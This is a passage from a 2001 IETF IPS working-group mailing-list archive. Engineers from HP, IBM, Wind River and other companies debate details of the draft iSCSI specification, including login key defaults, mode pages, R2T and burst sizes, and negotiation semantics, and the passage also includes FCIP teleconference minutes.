|June 18, 2001) at 28/09/2001 07:23:51 MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Sender: owner-ips@ece.cmu.edu Precedence: bulk will do - thanks, julo Santosh Rao hp.com> cc: Sent by: Subject: iscsi : MaximumBurstSize & data-out owner-ips@ece. sequences. cmu.edu 28-09-01 00:54 Please respond to Santosh Rao Julian & All, Can initiators assume that it is the target's responsibility to ensure that an R2T request it issues will not exceed MaximumBurstSize ? If initiators cannot assume the above, they will need to send data-out pdu's in response to an R2T in multiple sequences, if the R2T "Desired Data Length" > MaximumBurstSize. If this were to happen, it could confuse the target into thinking the initiator has sent all the requested data in response to the R2T, when in fact, the initiator has only sent the first of several sequences of data-out in response to the R2T. I suggest that the draft explicitly mention [in the definition of MaxBurstSize as well as R2T] that R2T requests MUST NOT exceed MaximumBurstSize. Related Definitions (from rev 7.98) : ------------------------------------- " For outgoing data, the F bit is 1 for the last PDU of unsolicited data or the last PDU of a sequence answering an R2T." " 4.1.1 MaxBurstSize Field (16 bit) This field is used by iSCSI to define the maximum SCSI data payload in an iSCSI sequence (a sequence of Data-In or Data-Out PDUs ending with a Data-In or Data-Out PDU with the F bit set to one) in units of 512 bytes. This value can be set by a text-mode key=value pair (MaxBurstSize). " Thanks, Santosh -- ################################## Santosh Rao Software Design Engineer, HP-UX iSCSI Driver Team, Hewlett Packard, Cupertino. email : santoshr@cup.hp.com Phone : 408-447-3751 ################################## From owner-ips@ece.cmu.edu Fri Sep 28 02:12:05 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id CAA02965 for ; Fri, 28 Sep 2001 02:12:04 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8S5IwG29151 for ips-outgoing; Fri, 28 Sep 2001 01:18:58 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from palrel2.hp.com (palrel2.hp.com [156.153.255.234]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8S5IrP29145 for ; Fri, 28 Sep 2001 01:18:57 -0400 (EDT) Received: from hpcuhe.cup.hp.com (hpcuhe.cup.hp.com [15.0.80.203]) by palrel2.hp.com (Postfix) with ESMTP id 11D285F9; Thu, 27 Sep 2001 22:18:53 -0700 (PDT) Received: (from santoshr@localhost) by hpcuhe.cup.hp.com (8.9.3 (PHNE_18979)/8.9.3 SMKit7.02) id WAA00155; Thu, 27 Sep 2001 22:18:48 -0700 (PDT) From: Santosh Rao Message-Id: <200109280518.WAA00155@hpcuhe.cup.hp.com> Subject: Re: iSCSI - do we need anything in the mode pages? To: Julian_Satran@il.ibm.com (Julian Satran) Date: Thu, 27 Sep 2001 22:18:48 -0700 (PDT) Cc: ips@ece.cmu.edu In-Reply-To: from "Julian Satran" at Sep 28, 2001 06:50:16 AM X-Mailer: ELM [version 2.5 PL2] MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 7bit Julian, I fully support this move. The "Enable CRN" bit should be a SCSI ULP feature. The EPDC bit of FCP-2 is a layering mess-up in FCP-2 since it is not clear if they are testing for CRN support in their target FCP layer's FCP_CMD IU, or whether they are testing their device server or both. A new bit can be introduced in the "Control Mode Page" which is bag of bits that verify SCSI ULP features currently. This "Enable CRN" bit should purely test the device server since this is a ULP peer to peer check. In addition, the FCP-2 folks would check the EPDC bit to test their target SCSI LLP's capability to handle the CRN in its FCP_CMD IU. Perhaps, this can be one of the iscsi requests for change in T10, along with the rest of the changes that iscsi is driving. iSCSI would then attach no special semantics to any of its mode pages. Thanks, Santosh > > Dear colleagues: > > We have now only two scraps of information in the iSCSI mode page: > > EMDP > CRN > > > I suggest we take EMDP out (for simplicity) and reintroduce > DataSequenceInOrder > > Unfortunately we can't do anything about CRN - but since it is not strictly > an iSCSI issue > we can just as for it to be placed honorably in commonly used per-LU page > by T10. > > Please comment. > > Julo > > -- ################################## Santosh Rao Software Design Engineer, HP-UX iSCSI Driver Team, Hewlett Packard, Cupertino. email : santoshr@cup.hp.com Phone : 408-447-3751 ################################## From owner-ips@ece.cmu.edu Fri Sep 28 04:41:34 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id EAA07757 for ; Fri, 28 Sep 2001 04:41:33 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8S7li405484 for ips-outgoing; Fri, 28 Sep 2001 03:47:44 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from mail.wrs.com (unknown-1-11.windriver.com [147.11.1.11]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8S7lgP05480 for ; Fri, 28 Sep 2001 03:47:42 -0400 (EDT) Received: from london ([10.95.10.3]) by mail.wrs.com (8.9.3/8.9.1) with SMTP id AAA15751; Fri, 28 Sep 2001 00:47:20 -0700 (PDT) From: "Rod Harrison" To: "Julian Satran" , Subject: RE: iSCSI - do we need anything in the mode pages? Date: Fri, 28 Sep 2001 08:49:34 +0100 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0) In-reply-to: X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300 Importance: Normal Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 7bit I am in favour of this. - Rod -----Original Message----- From: owner-ips@ece.cmu.edu [mailto:owner-ips@ece.cmu.edu]On Behalf Of Julian Satran Sent: Friday, September 28, 2001 4:50 AM To: ips@ece.cmu.edu Subject: iSCSI - do we need anything in the mode pages? Importance: High Dear colleagues: We have now only two scraps of information in the iSCSI mode page: EMDP CRN I suggest we take EMDP out (for simplicity) and reintroduce DataSequenceInOrder Unfortunately we can't do anything about CRN - but since it is not strictly an iSCSI issue we can just as for it to be placed honorably in commonly used per-LU page by T10. Please comment. Julo From owner-ips@ece.cmu.edu Fri Sep 28 04:45:10 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id EAA07803 for ; Fri, 28 Sep 2001 04:45:10 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8S7oOX05595 for ips-outgoing; Fri, 28 Sep 2001 03:50:24 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from mail.wrs.com (unknown-1-11.windriver.com [147.11.1.11]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8S7oLP05586 for ; Fri, 28 Sep 2001 03:50:21 -0400 (EDT) Received: from london ([10.95.10.3]) by mail.wrs.com (8.9.3/8.9.1) with SMTP id AAA16803; Fri, 28 Sep 2001 00:49:51 -0700 (PDT) From: "Rod Harrison" To: "Santosh Rao" , "IPS Reflector" Subject: RE: iscsi : target originated login negotiations. Date: Fri, 28 Sep 2001 08:52:04 +0100 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0) In-reply-to: <3BB3C493.83E1A339@cup.hp.com> X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300 Importance: Normal Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 7bit There is some confusion here. I've been assuming that if I send a key that is not returned it means the other side is happy with my choice, but I recently read somewhere in one of the drafts that this actually means the default choice should be taken. We do need to spell this out clearly. - Rod -----Original Message----- From: owner-ips@ece.cmu.edu [mailto:owner-ips@ece.cmu.edu]On Behalf Of Santosh Rao Sent: Friday, September 28, 2001 1:30 AM To: IPS Reflector Subject: iscsi : target originated login negotiations. All, I have a question on how the target originated negotiation works. The draft describes this as : "The target may offer key=value pairs of its own. Target requests are not limited to matching key=value pairs as offered by the initiator. However, the initiator always controls the request-response initiation and termination." Here's my question, taking a specific scenario as an example : Assume ImmediateData defaults to "yes" [as is currently the case]. Consider an initiator that wishes to use immediate data attempting to login with a target that does not support immediate data. I -> T : (does not explicitly send ImmediateData key, since the default is its desired value). T -> I : ImmediateData="no" (No ImmediateData key is received. Hence, target needs to originate this key to indicate that it does not support). Is this considered the end of the negotiation, or does the initiator (who is the responding party in this case) need to respond to the offered key with a response indicating : I -> T : ImmediateData="no" Also : a) how does the above work in the case of list negotiation ? b) What is meant by "the initiator always controls the request-response initiation and termination." (?). Could this be stated more clearly ? Thanks, Santosh -- ################################## Santosh Rao Software Design Engineer, HP-UX iSCSI Driver Team, Hewlett Packard, Cupertino. email : santoshr@cup.hp.com Phone : 408-447-3751 ################################## From owner-ips@ece.cmu.edu Fri Sep 28 05:47:20 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id FAA08274 for ; Fri, 28 Sep 2001 05:47:20 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8S8Y2R07381 for ips-outgoing; Fri, 28 Sep 2001 04:34:02 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from e33.bld.us.ibm.com (e33.co.us.ibm.com [32.97.110.131]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8S8Y1P07376 for ; Fri, 28 Sep 2001 04:34:01 -0400 (EDT) Received: from westrelay02.boulder.ibm.com (westrelay02.boulder.ibm.com [9.99.140.23]) by e33.bld.us.ibm.com (8.9.3/8.9.3) with ESMTP id DAA25096 for ; Fri, 28 Sep 2001 03:31:24 -0500 Received: from d03nm065.boulder.ibm.com (d03nm065.boulder.ibm.com [9.99.140.49]) by westrelay02.boulder.ibm.com (8.11.1m3/NCO v4.97.1) with ESMTP id f8S8XhB254194 for ; Fri, 28 Sep 2001 02:33:43 -0600 X-Priority: 1 (High) Importance: Normal Subject: RE: iscsi : iscsi parameter default values To: "Julian Satran" Cc: ips@ece.cmu.edu X-Mailer: Lotus Notes Release 5.0.3 (Intl) 21 March 2000 Message-ID: From: "John Hufferd" Date: Fri, 28 Sep 2001 01:32:59 -0700 X-MIMETrack: Serialize by Router on D03NM065/03/M/IBM(Release 5.0.8 |June 18, 2001) at 09/28/2001 02:33:43 AM MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Sender: owner-ips@ece.cmu.edu Precedence: bulk I also agree with this. It should be yes. . . . John L. Hufferd Senior Technical Staff Member (STSM) IBM/SSG San Jose Ca Main Office (408) 256-0403, Tie: 276-0403, eFax: (408) 904-4688 Home Office (408) 997-6136 Internet address: hufferd@us.ibm.com Julian Satran/Haifa/IBM@IBMIL@ece.cmu.edu on 09/27/2001 09:50:21 AM Sent by: owner-ips@ece.cmu.edu To: ips@ece.cmu.edu cc: Subject: RE: iscsi : iscsi parameter default values The one that I have trouble living with is ImmediateData. This is important for low-end desktops and hardly matters for large boxes. As such I would suggest it stays as yes. Julo "Eddy Quicksall" To: "'Santosh Rao'" , iaone.net> cc: Sent by: Subject: RE: iscsi : iscsi parameter default values owner-ips@ece.c mu.edu 27-09-01 17:22 Please respond to "Eddy Quicksall" I like your defaults below. But, section 5 says: The initial Login request MUST include the InitiatorName and SessionType key=value pairs. Since SessionType is REQUIRED, naming a default would imply a possible typo in the spec. Eddy -----Original Message----- From: Santosh Rao [mailto:santoshr@cup.hp.com] Sent: Wednesday, September 26, 2001 10:29 PM To: ips@ece.cmu.edu Subject: iscsi : iscsi parameter default values All, With the issue of mode page vs. login keys having [almost] drawn to a close, I would like to raise the below issues again, on the subject of default values for login keys and other iscsi parameters : * In keeping with traditional use of scsi mode pages, iscsi should not specify any default settings for any mode pages that continue to exist for iscsi. "Default values" for mode pages are target specific and should not be bound to the protocol draft. * MORE IMPORTANTLY, I read the default for EMDP as being set to 1 :-< This implies that targets must be always prepared to deal with out of order data and initiators must be prepared to deal with out of order data, unless the initiator performs a mode select to disable it. [which defeats all the previous advantages gained thru mandating use of login keys for other negotiations.]. A default, if it were to exist, should be 0. (in-order, by default). * Conservative specification of defaults for login keys along the following lines : MaxConnections = 1 FMarker = "no" InitialR2T = "yes" BidiInitialR2T = "yes" ImmediateData = "no" DataPDULength = 16 MaxOutstandingR2T = 1 DataPDUInOrder = "yes" ErrorRecoveryLevel = 0 SessionType = "normal" * Should the iscsi protocol require a "Lun Control Mode Page"? IOW, is an EnableCRN bit required at the transport layer ? If the device server capability is to be negotiated , I suggest this bit be moved to a SCSI ULP Mode Page such as the "Control Mode Page", through a T10 change as a part of the SCSI changes being driven by iscsi. Comments ? Thanks, Santosh Santosh Rao wrote: > There are the separate issues of : > > * iscsi's specification of defaults for its mode pages which is not in line with mode page > usage. This impacts the target's ability to enforce values other than the protocol > specified default, if the initiator were to not use mode sense/select. > > * default settings for login keys. > > * Is there a need for the "LUN Control Mode Page" and whether "Enable CRN" should be in a > transport specific mode page ? > > which need to be driven to closure as well. > > Regards, > Santosh From owner-ips@ece.cmu.edu Fri Sep 28 12:42:20 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA19280 for ; Fri, 28 Sep 2001 12:42:20 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8SG5vc14100 for ips-outgoing; Fri, 28 Sep 2001 12:05:57 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from d12lmsgate.de.ibm.com (d12lmsgate.de.ibm.com [195.212.91.199]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8SG5tP14096 for ; Fri, 28 Sep 2001 12:05:55 -0400 (EDT) Received: from d12relay01.de.ibm.com (d12relay01.de.ibm.com [9.165.215.22]) by d12lmsgate.de.ibm.com (1.0.0) with ESMTP id SAA102364 for ; Fri, 28 Sep 2001 18:05:48 +0200 Received: from d10hubm1.telaviv.ibm.com (d10ml001.telaviv.ibm.com [9.148.216.55]) by d12relay01.de.ibm.com (8.11.1m3/NCO v4.97.1) with ESMTP id f8SG5lV142042 for ; Fri, 28 Sep 2001 18:05:47 +0200 Subject: Re: iSCSI: Text response To: ips@ece.cmu.edu X-Mailer: Lotus Notes Release 5.0.8 June 18, 2001 Message-ID: From: "Julian Satran" Date: Fri, 28 Sep 2001 18:42:11 +0300 X-MIMETrack: Serialize by Router on D10ML001/10/M/IBM(Release 5.0.8 |June 18, 2001) at 28/09/2001 19:05:46 MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Sender: owner-ips@ece.cmu.edu Precedence: bulk OOPS - will clean. Julo "Ayman Ghanem" cc: Subject: iSCSI: Text response 28-09-01 17:33 Please respond to "Ayman Ghanem" Julian, What is the A-bit in the text response PDU?. It exists in 7-98 and 7-99 with no description to what it is. -Ayman From owner-ips@ece.cmu.edu Fri Sep 28 12:44:10 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA19314 for ; Fri, 28 Sep 2001 12:44:10 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8SFRHH11236 for ips-outgoing; Fri, 28 Sep 2001 11:27:17 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from d12lmsgate-3.de.ibm.com (d12lmsgate-3.de.ibm.com [195.212.91.201]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8SFRFP11229 for ; Fri, 28 Sep 2001 11:27:15 -0400 (EDT) Received: from d12relay02.de.ibm.com (d12relay02.de.ibm.com [9.165.215.23]) by d12lmsgate-3.de.ibm.com (1.0.0) with ESMTP id RAA27076 for ; Fri, 28 Sep 2001 17:27:06 +0200 Received: from d10hubm1.telaviv.ibm.com (d10ml001.telaviv.ibm.com [9.148.216.55]) by d12relay02.de.ibm.com (8.11.1m3/NCO v4.97.1) with ESMTP id f8SFR6e128470 for ; Fri, 28 Sep 2001 17:27:06 +0200 Subject: RE: iscsi : iscsi parameter default values To: ips@ece.cmu.edu X-Mailer: Lotus Notes Release 5.0.8 June 18, 2001 Message-ID: From: "Julian Satran" Date: Fri, 28 Sep 2001 18:17:34 +0300 X-MIMETrack: Serialize by Router on D10ML001/10/M/IBM(Release 5.0.8 |June 18, 2001) at 28/09/2001 18:27:06 MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Sender: owner-ips@ece.cmu.edu Precedence: bulk Eddy, The text (cleaned) says: For numerical negotiations, the responding party MUST respond with the required key. Binary negotiations (for keys taking the values yes or no) are a restricted form of numerical negotiations and the result is a key dependent Boolean function of the two inputs. The negotiation MUST proceed ONLY up to the point where both parties can unequivocally compute the result based on new values; continuing beyond this point is OPTIONAL. Comments? Julo "Eddy Quicksall" To: John Hufferd/San Jose/IBM@IBMUS, Julian cc: Subject: RE: iscsi : iscsi parameter default values 28-09-01 16:44 Please respond to "Eddy Quicksall" I don't have any problem anymore with the ImmediateData default because the spec has been changed to say: For numerical (and binary) negotiations, the responding party MUST respond with the required key. But, there is still the issue I have pointed out below, that is ... Section 5 says: The initial Login request MUST include the InitiatorName and SessionType key=value pairs. Since SessionType is REQUIRED, naming a default would imply a possible typo in the spec (i.e., either the SessionType is not required or the default has no meaning). I suggest that we take the Default out of SessionType or change section 5 to say: The initial Login request MUST include the InitiatorName key=value pair. If the SessionType is not specified, the default type will be Normal. Eddy -----Original Message----- From: John Hufferd [mailto:hufferd@us.ibm.com] Sent: Friday, September 28, 2001 4:33 AM To: Julian Satran Cc: ips@ece.cmu.edu Subject: RE: iscsi : iscsi parameter default values I also agree with this. It should be yes. . . . John L. Hufferd Senior Technical Staff Member (STSM) IBM/SSG San Jose Ca Main Office (408) 256-0403, Tie: 276-0403, eFax: (408) 904-4688 Home Office (408) 997-6136 Internet address: hufferd@us.ibm.com Julian Satran/Haifa/IBM@IBMIL@ece.cmu.edu on 09/27/2001 09:50:21 AM Sent by: owner-ips@ece.cmu.edu To: ips@ece.cmu.edu cc: Subject: RE: iscsi : iscsi parameter default values The one that I have trouble living with is ImmediateData. This is important for low-end desktops and hardly matters for large boxes. As such I would suggest it stays as yes. Julo "Eddy Quicksall" To: "'Santosh Rao'" , iaone.net> cc: Sent by: Subject: RE: iscsi : iscsi parameter default values owner-ips@ece.c mu.edu 27-09-01 17:22 Please respond to "Eddy Quicksall" I like your defaults below. But, section 5 says: The initial Login request MUST include the InitiatorName and SessionType key=value pairs. Since SessionType is REQUIRED, naming a default would imply a possible typo in the spec. Eddy -----Original Message----- From: Santosh Rao [mailto:santoshr@cup.hp.com] Sent: Wednesday, September 26, 2001 10:29 PM To: ips@ece.cmu.edu Subject: iscsi : iscsi parameter default values All, With the issue of mode page vs. login keys having [almost] drawn to a close, I would like to raise the below issues again, on the subject of default values for login keys and other iscsi parameters : * In keeping with traditional use of scsi mode pages, iscsi should not specify any default settings for any mode pages that continue to exist for iscsi. "Default values" for mode pages are target specific and should not be bound to the protocol draft. * MORE IMPORTANTLY, I read the default for EMDP as being set to 1 :-< This implies that targets must be always prepared to deal with out of order data and initiators must be prepared to deal with out of order data, unless the initiator performs a mode select to disable it. [which defeats all the previous advantages gained thru mandating use of login keys for other negotiations.]. A default, if it were to exist, should be 0. (in-order, by default). * Conservative specification of defaults for login keys along the following lines : MaxConnections = 1 FMarker = "no" InitialR2T = "yes" BidiInitialR2T = "yes" ImmediateData = "no" DataPDULength = 16 MaxOutstandingR2T = 1 DataPDUInOrder = "yes" ErrorRecoveryLevel = 0 SessionType = "normal" * Should the iscsi protocol require a "Lun Control Mode Page"? IOW, is an EnableCRN bit required at the transport layer ? If the device server capability is to be negotiated , I suggest this bit be moved to a SCSI ULP Mode Page such as the "Control Mode Page", through a T10 change as a part of the SCSI changes being driven by iscsi. Comments ? Thanks, Santosh Santosh Rao wrote: > There are the separate issues of : > > * iscsi's specification of defaults for its mode pages which is not in line with mode page > usage. This impacts the target's ability to enforce values other than the protocol > specified default, if the initiator were to not use mode sense/select. > > * default settings for login keys. > > * Is there a need for the "LUN Control Mode Page" and whether "Enable CRN" should be in a > transport specific mode page ? > > which need to be driven to closure as well. > > Regards, > Santosh From owner-ips@ece.cmu.edu Fri Sep 28 13:42:28 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA20738 for ; Fri, 28 Sep 2001 13:42:28 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8SGXZO16023 for ips-outgoing; Fri, 28 Sep 2001 12:33:35 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from lightsand.com ([64.214.104.163]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8SGXWP16017 for ; Fri, 28 Sep 2001 12:33:33 -0400 (EDT) Received: from muralipc ([192.168.2.58]) by lightsand.com (8.9.3+Sun/8.9.1) with SMTP id JAA18596 for ; Fri, 28 Sep 2001 09:33:26 -0700 (PDT) From: "Murali Rajagopal" To: Subject: FCIP: Authors Minutes from Sep 26 Teleconference Date: Fri, 28 Sep 2001 09:34:37 -0700 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0) X-MIMEOLE: Produced By Microsoft MimeOLE V5.00.3018.1300 Importance: Normal Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 7bit Minutes submitted by Robert Snively [rsnively@brocade.com] The teleconference was held Wednesday, September 26 from 1 to 2:15 Pacific time. 1) Wording problems in security and connections E-mail was sent out. Venkat and Ralph have been working on words to handle error checking in security. Accepted. 2) Instructions on all-caps (SHALL) All caps are applied to interoperability issues only. Accepted. Ralph will produce 6a with these changes. 3) Consideration of NAPTs There was considerable discussion on possible approaches to verifying the informational frame sent by the originating FCIP Link End Point. Murali proposed that the frame be returned blindly for checking. Timeouts may not be required and can developed if necessary. Murali's proposal was seen as a reasonable approach and no holes were found in it. This will be formalized as the solution for consideration. The comparison is made only on the data portion, not the header portion, since the time stamp is known to be different. Ralph will write it up only after a time for consideration is allowed. Larry suggests swapping the reserved word and the QOS word for architectural purity. There was no strong concern about this, so it will be tentatively accepted. Larry suggests relabeling the last word of the FCIP header field so that there is no misleading conception of the CRC being present. 4) Next meeting 1 hour meeting to approve NAPTs document, Lucent hosting, Wednesday, 1-2 pm (although the line is scheduled for two hours). ATTENDEES Murali Rajagopal LightSand Communications Raj Bhagwat LightSand Communications Andy Helland LightSand Communications Larry Lamers SAN Valley Jim Nelson Vixel Corporation Bob Snively Brocade Communications Ralph Weber ENDL Texas, for Brocade Elizabeth Rodriguez Lucent Technology Neil Wanamaker Akara Ken Hirada Vixel From owner-ips@ece.cmu.edu Fri Sep 28 13:44:25 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA20817 for ; Fri, 28 Sep 2001 13:44:25 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8SGhSU16723 for ips-outgoing; Fri, 28 Sep 2001 12:43:28 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from palrel11.hp.com (palrel11.hp.com [156.153.255.246]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8SGhQP16714 for ; Fri, 28 Sep 2001 12:43:26 -0400 (EDT) Received: from xatlrelay1.atl.hp.com (xatlrelay1.atl.hp.com [15.45.89.190]) by palrel11.hp.com (Postfix) with ESMTP id D2B551F605 for ; Fri, 28 Sep 2001 09:43:19 -0700 (PDT) Received: from xatlbh1.atl.hp.com (xatlbh1.atl.hp.com [15.45.89.186]) by xatlrelay1.atl.hp.com (Postfix) with ESMTP id A2C651F521 for ; Fri, 28 Sep 2001 12:43:18 -0400 (EDT) Received: by xatlbh1.atl.hp.com with Internet Mail Service (5.5.2653.19) id ; Fri, 28 Sep 2001 12:43:16 -0400 Message-ID: <6BD67FFB937FD411A04F00D0B74FE87805CCF155@xrose06.rose.hp.com> From: "KRUEGER,MARJORIE (HP-Roseville,ex1)" To: "Ips Reflector (E-mail)" Subject: iSCSI: C bit in Login Request? Date: Fri, 28 Sep 2001 12:43:16 -0400 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-ips@ece.cmu.edu Precedence: bulk Julian, I don't understand the need for the C bit in the Login Request? The target certainly knows whether this is the first request in a login sequence without this bit, and I wouldn't trust an initiator to set it correctly anyway, so I'd double check it with my knowledge of the # of PDUs received on this connection (or #bytes received). Marjorie From owner-ips@ece.cmu.edu Fri Sep 28 15:08:08 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA22581 for ; Fri, 28 Sep 2001 15:08:07 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8SINFM23472 for ips-outgoing; Fri, 28 Sep 2001 14:23:15 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from palrel1.hp.com (palrel1.hp.com [156.153.255.242]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8SINDP23467 for ; Fri, 28 Sep 2001 14:23:13 -0400 (EDT) Received: from xparelay2.corp.hp.com (unknown [15.58.137.112]) by palrel1.hp.com (Postfix) with ESMTP id 787367DA; Fri, 28 Sep 2001 11:23:12 -0700 (PDT) Received: from xpabh4.corp.hp.com (xpabh4.corp.hp.com [15.58.136.1]) by xparelay2.corp.hp.com (Postfix) with ESMTP id A70DA1F50A; Fri, 28 Sep 2001 04:23:07 -0700 (PDT) Received: by xpabh4.corp.hp.com with Internet Mail Service (5.5.2653.19) id ; Fri, 28 Sep 2001 11:23:11 -0700 Message-ID: <6BD67FFB937FD411A04F00D0B74FE87805CCF158@xrose06.rose.hp.com> From: "KRUEGER,MARJORIE (HP-Roseville,ex1)" To: "'Julian Satran'" Cc: "Ips Reflector (E-mail)" Subject: RE: iSCSI: C bit in Login Request? Date: Fri, 28 Sep 2001 11:23:10 -0700 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-ips@ece.cmu.edu Precedence: bulk Thanks Marjorie > -----Original Message----- > From: Julian Satran [mailto:Julian_Satran@il.ibm.com] > Sent: Friday, September 28, 2001 10:30 AM > To: KRUEGER,MARJORIE (HP-Roseville,ex1) > Subject: Re: iSCSI: C bit in Login Request? > > > > Marjorie, > > It was meant to be an expedient way of showing what fields > you can rely on. > In an (unpublished) version it had some other function as > well. I will > take it out if there is no resistance to this change. > > Julo > From owner-ips@ece.cmu.edu Fri Sep 28 15:12:06 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA22709 for ; Fri, 28 Sep 2001 15:12:06 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8SHqlF21470 for ips-outgoing; Fri, 28 Sep 2001 13:52:47 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from d12lmsgate-3.de.ibm.com (d12lmsgate-3.de.ibm.com [195.212.91.201]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8SHqhP21461 for ; Fri, 28 Sep 2001 13:52:43 -0400 (EDT) Received: from d12relay02.de.ibm.com (d12relay02.de.ibm.com [9.165.215.23]) by d12lmsgate-3.de.ibm.com (1.0.0) with ESMTP id TAA80152 for ; Fri, 28 Sep 2001 19:52:36 +0200 Received: from d10hubm1.telaviv.ibm.com (d10ml001.telaviv.ibm.com [9.148.216.55]) by d12relay02.de.ibm.com (8.11.1m3/NCO v4.97.1) with ESMTP id f8SHqae194828 for ; Fri, 28 Sep 2001 19:52:36 +0200 Subject: RE: iscsi : iscsi parameter default values To: ips@ece.cmu.edu X-Mailer: Lotus Notes Release 5.0.8 June 18, 2001 Message-ID: From: "Julian Satran" Date: Fri, 28 Sep 2001 20:37:36 +0300 X-MIMETrack: Serialize by Router on D10ML001/10/M/IBM(Release 5.0.8 |June 18, 2001) at 28/09/2001 20:52:36 MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Sender: owner-ips@ece.cmu.edu Precedence: bulk Robert, I disagree that Immediate is "the most demanding" mode. That is not my experience and not what I heard from most of the developers. On the contrary immediate data do not require a separate indexing operation on the target (as non-immediate unsolicited do) and that was the base for the consensus to have them negotiated separately. For the software initiator it is the most inexpensive way to perform short data transfers (4-8k) typical for major applications like Database access and so it is for lightweight target. Julo Robert Snively Satran/Haifa/IBM@IBMIL cc: ips@ece.cmu.edu 28-09-01 17:25 Subject: RE: iscsi : iscsi parameter default values Please respond to Robert Snively I vote no as the default value on ImmediateData. A default value of yes on ImmediateData requires implementation of the most complex and demanding mode of operation as 